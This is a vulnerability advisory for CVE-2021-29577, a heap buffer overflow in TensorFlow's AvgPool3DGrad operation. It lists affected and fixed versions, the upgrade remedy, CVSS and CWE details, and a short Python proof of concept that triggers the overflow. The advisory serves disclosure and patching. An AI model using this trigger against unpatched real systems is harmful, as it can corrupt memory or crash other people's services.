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CVE-2021-29577: Heap buffer overflow in `AvgPool3DGrad`

May 21, 2021 (updated November 1, 2024)

The implementation of tf.raw_ops.AvgPool3DGrad is vulnerable to a heap buffer overflow:

import tensorflow as tf

orig_input_shape = tf.constant([10, 6, 3, 7, 7], shape=[5], dtype=tf.int32)
grad = tf.constant([0.01, 0, 0], shape=[3, 1, 1, 1, 1], dtype=tf.float32)
ksize = [1, 1, 1, 1, 1]
strides = [1, 1, 1, 1, 1]
padding = "SAME"

tf.raw_ops.AvgPool3DGrad(
orig_input_shape=orig_input_shape, grad=grad, ksize=ksize, strides=strides,
padding=padding)

References

  • github.com/advisories/GHSA-v6r6-84gr-92rm
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-505.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-703.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-214.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/commit/6fc9141f42f6a72180ecd24021c3e6b36165fe0d
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-v6r6-84gr-92rm
  • nvd.nist.gov/vuln/detail/CVE-2021-29577

Code Behaviors & Features

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Affected versions

All versions before 2.1.4, all versions starting from 2.2.0 before 2.2.3, all versions starting from 2.3.0 before 2.3.3, all versions starting from 2.4.0 before 2.4.2

Fixed versions

  • 2.1.4
  • 2.2.3
  • 2.3.3
  • 2.4.2

Solution

Upgrade to versions 2.1.4, 2.2.3, 2.3.3, 2.4.2 or above.

Impact 7.8 HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Learn more about CVSS

Weakness

  • CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer
  • CWE-787: Out-of-bounds Write

Source file

pypi/tensorflow/CVE-2021-29577.yml

Spotted a mistake? Edit the file on GitLab.

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